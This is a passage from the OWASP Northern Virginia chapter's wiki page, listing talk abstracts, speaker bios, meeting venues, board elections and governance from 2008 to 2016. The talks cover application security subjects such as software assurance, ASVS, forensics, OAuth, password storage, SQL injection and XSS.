Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices.

Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes & Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI.

Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]]

''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS'''

The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies.

Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard.

Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]]

----

=== November 2008 ===

For our November 2008 meeting, we had two great presentations on software assurance and security testing.

''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance'''

Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed.

Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]

''Paco Hope, Cigital'': '''The Web Security Testing Cookbook'''

The Web Security Testing Cookbook (O'Reilly & Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort.

Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]]

Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]

----

=== October 2008 ===

For our October 2008 meeting, we had two fascinating talks relating to forensics.

''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats'''

Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today.

Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats]

''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data'''

Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities.

Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data]

=== History ===

The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship.

==== Chapter Groups ====

Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in:

*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling]
*[http://groups.google.com/group/novaowasp_mobile Mobile]

=== OWASP NoVa Members On Twitter ===

Mike McCabe [http://twitter.com/mccabe615 http://twitter.com/mccabe615]

John Steven [http://twitter.com/m1splacedsoul http://twitter.com/m1splacedsoul]

Jack Mannino [http://twitter.com/jack_mannino http://twitter.com/jack_mannino]

Ben Tomhave [http://twitter.com/falconsview http://twitter.com/falconsview]

Ken Johnson [http://twitter.com/cktricky http://twitter.com/cktricky]

Mike Smith [http://twitter.com/rybolov http://twitter.com/rybolov]

Trevor Hawthorn [http://twitter.com/packetwerks http://twitter.com/packetwerks]

Jeremy Long [http://twitter.com/ctxt http://twitter.com/ctxt]

Ari Elias-Bachrach [http://twitter.com/angelofsecurity http://twitter.com/angelofsecurity]

Venkat Sundaram [http://twitter.com/Vnk3889 http://twitter.com/Vnk3889]

==== Knowledge ====

The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as:

*Threat Modeling
*[[Code Review and Static Analysis with tools]]
*Penetration Testing and Dynamic Analysis tools
*Monitoring/Dynamic patching (WAFs)

Certain projects our members are involved in cross-cut these activities, providing value throughout. They include:

*ASVS

=== Static Analysis Curriculum ===

*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].

The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter].

[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]]

'''Contacts'''<br> Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader.

<br>

=== Flash Talk Resources ===

Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] <br> [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information <br> Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] <br>

__NOTOC__ <headertabs />

<paypal>Northern Virginia</paypal>

[[Category:OWASP Chapter]]
[[Category:United States]]
[[Category:Virginia]]
[[Category:Washington,_DC]]

Virginia

2016-01-11T22:09:05Z

Michael McCabe: Updating page

==== About ====

[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge.

We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules.

The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics.

{{Chapter Template|chaptername=Northern Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.

=== 2015 Chapter Election Candidates ===
*Mike McCabe - Board Chair
**OWASP Membership ID: 020000901
**Endorsement - Jack Mannino, Current Board Chair
**Full Disclosure: Mike reports directly to me at our day job.
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.
*Akshay Sivananda
**OWASP Membership ID: 020000050
**Endorsement - Ping Ning, Chapter Member
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.
*Abdullah Munawar
**OWASP Membership ID: 020000037
**Endorsement - Jon Callahan, Chapter Member
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been.

=== Chapter Board ===
Previously having had a Chapter Leader, then a Chapter "Program Committee", the chapter is now run by a full board (alphabetical order):
* Michael McCabe - Board Chair
* Abdullah Munawar
* Akshay Sivananda

Board member responsibilities include:

<pre style="white-space: pre-wrap;"> * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics
* Recruiting OWASP membership
* Driving OWASP NoVA Chapter attendance and involvement
* Deferring to, facilitating, and supporting the activities and projects of chapter membership
* Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions
* Scouting, clearing, and scheduling chapter meeting venues and catering
* Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations
* Collecting and auditing use of chapter funds
* Voting on chapter matters
</pre>
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}

You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter.

=== Schedule ===

Meetings are (generally) held the first Thursday of the month.

Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.

== Next Meeting ==

We'll post all meetings on the Meetup page below.

We can also be contacted through the comment or messages systems on Meetup.

For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].

== Past meetings ==

===January 2016===
'''Date/Time:''' January 14th, 2016 @ 6:30pm

'''Location:''' 11600 Sunrise Valley Drive, Reston, VA in the 'Chillout room'

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]

----

===July 2014===
'''Date/Time:''' July 10th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]

'''AGENDA:'''
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!

'''Presentation Title:'''
OAuth 1.0 Authorization and Security

'''Abstract:'''
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.

'''Speaker Bio:'''
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.

----

===February 2013===
'''Date/Time:''' February 7th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]

'''AGENDA:'''
* News / Updates
* Talk: Jeffrey Walton - "Securing Wireless Channels in the Mobile Space", [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]
* Firetalks!

'''Presentation Title:'''
Securing Wireless Channels in the Mobile Space

'''Abstract:'''
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.

'''Speaker Bio:'''
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).

'''Downloads:'''
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]

----

===January 2013===
'''Date/Time:''' January 10th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]

'''AGENDA:'''
* News / Updates
* Upcoming chapter elections and 2013 plans
* Talk: "Automating (Some) Android Security Testing"
* Firetalks!

'''Presentation Title:'''
Automating (Some) Android Security Testing

'''Abstract:'''
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).

'''Speaker Bio:'''
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]

----

===October 2012===
'''Date/Time:''' October 4th, 2012 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - "Benchmarking Web Application Scanners for YOUR Organization", [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]
* Firetalks!

'''Presentation Title:'''
Benchmarking Web Application Scanners for YOUR Organization

'''Abstract:'''
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.

'''Speaker Bio:'''
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.

----

=== July 2012 ===
'''Date/Time:''' July 12th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - "Password Storage Security"
* Firetalks!

'''Presentation Title:'''
"Password Storage Security" [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]

'''Abstract:'''
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix.

To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]

For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th ("Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!"): [https://www.coursera.org/course/crypto|Crypto Course]

'''Speaker Bio:'''

See [https://www.owasp.org/index.php/John_Steven| John Steven Bio]

----

=== June 2012 ===
'''Date/Time:''' June 7th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: Ken Johnson (LivingSocial) - "AppSec, Ritalin, and Failing Fast"
* Firetalks!

'''Presentation Title:'''
"AppSec, Ritalin, and Failing Fast" [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation]

'''Abstract:'''
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:
* Developing technical solutions to solving difficult challenges
* Remaining proactive with an increased workload
* What it means to innovate

'''Speaker Bio:'''

Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 & 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.

----

=== May 2012 ===
'''Date/Time:''' May 3rd, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* "Chill Out" conversations (formal talked pushed back due to logistical issues)

----

=== April 2012 ===
'''Date/Time:''' April 16th, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org

'''AGENDA:'''
* News / Updates
* Talk: "Malicious Code Detection or BRIC Breaking Through Static Analysis" by Masha Khainson (Cigital)
* Firetalks!
* ISSA NoVA Social @Champps! :)

'''Presentation Title:''' "Malicious Code Detection or BRIC Breaking Through Static Analysis"

'''Abstract:'''
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.

'''Bio'''
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.

Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.

Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]

----

=== November 2011 ===
'''Date/Time:''' November 3rd, 2011 @ 6pm

'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031

'''AGENDA:'''
# News / Updates
# Talk: "Lessons Learned from the SQL Injection Challenge" by Ryan Barnett (Trustwave SpiderLabs)
# Firetalks! :)

'''Presentation Title:''' "Lessons Learned from the SQL Injection Challenge"

'''Abstract:'''
How effective are blacklist filters vs. SQL Injection attacks? What is the failure rate vs. automated scanning or manual testing? Are there any "Time-to-Bypass" metrics? In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community "SQL Injection Challenge" to test the effectiveness of the OWASP ModSecurity Core Rule Set protections. This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.

'''Speaker Bio:'''
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache".

----

=== October 2011 ===
'''Date/Time:''' October 6th, 2011 @ 6pm

'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166

'''AGENDA:'''
* News / Updates
* AppSec USA 2011 Recap
* Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks "OWASP Top 10 Mobile Risks"]
* Firetalks! :)

=== September 2011 ===

The September meeting was cancelled due to inclement weather (flash flooding).

----

=== August 2011 ===

We held a "social" event at Sweetwater Tavern in Sterling, VA.

----

=== July 2011 ===

'''Date/Time:''' July 7th, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166<br> '''Food Sponsor:'''<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: iGoat - Ken Van Wyk

----

=== June 2011 ===

'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)<br> '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190<br> '''Food Sponsor:''' The College Board<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 "Insecure Direct Object References"]
* College Board Speaker: "Attack-in-Depth: Exploits of the OWASP Top Ten in Action"
* Firetalks! :)
- Jack Mannino: "Android Security 101"
- Others!

----

=== May 2011 ===

'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190<br> '''Food Sponsor:''' Akamai<br> '''AGENDA:'''

* News / Updates
* 2011 Election (voice vote on the entire slate)
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 "Broken Authentication and Session Management"]
* Speaker: Steve Witmer on A3 from the "breakers" perspective
* Speaker: ??? on A3 from the "fixers/defenders" perspective
* Firetalks! :)
* '''Update:''' All election candidates were elected by voice vote.
* Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM '11 Chapter Board Election Material]

----

=== April 2011 ===

'''Date/Time:''' April 7, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 <br> '''Food Sponsor:''' [https://www.cigital.com Cigital]<br> '''AGENDA:'''

* News / Updates
* 2011 Election
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 "Cross-Site Scripting (XSS)"]
* Preso:"Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform" by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])
* Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])
* Preso:"Growing the secure application developer community through expanded curricula" by Tony Gottlieb
* FireTalks (bring it!)

----

=== March 2011 ===

'''Date/Time:''' March 3, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 <br> '''AGENDA:'''

* News / Updates
* [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review
* Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 "Injection"]
* Briefing: Training/Preso Plan for the Year

----

=== February 2011 ===

'''Date/Time:''' February 3, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190<br> '''AGENDA:'''

* News / Updates
* Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]
* Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2
* Briefing: Training/Preso Plan for the Year

----

=== December 2010 ===

'''Date/Time:''' December 2, 2010 @ 6pm<br> '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA<br> '''AGENDA:'''

* 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)
* Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)
* Social / Networking (BYOB!)

----

=== November 2010 ===

'''Date/Time:''' November 4, 2010 @ 6pm<br> '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA<br> '''Speaker:''' Ben Tomhave<br> '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform<br> '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.<br> '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP.

----

=== June 2010 ===

'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/<br> '''TOPIC''': Risk Management - Time to blow it up and start over?<br>

'''DESCRIPTION''':

A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. "Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach."

Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]

<br> '''SPECIAL SPEAKER''':

[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group].

----

=== May 2010 ===

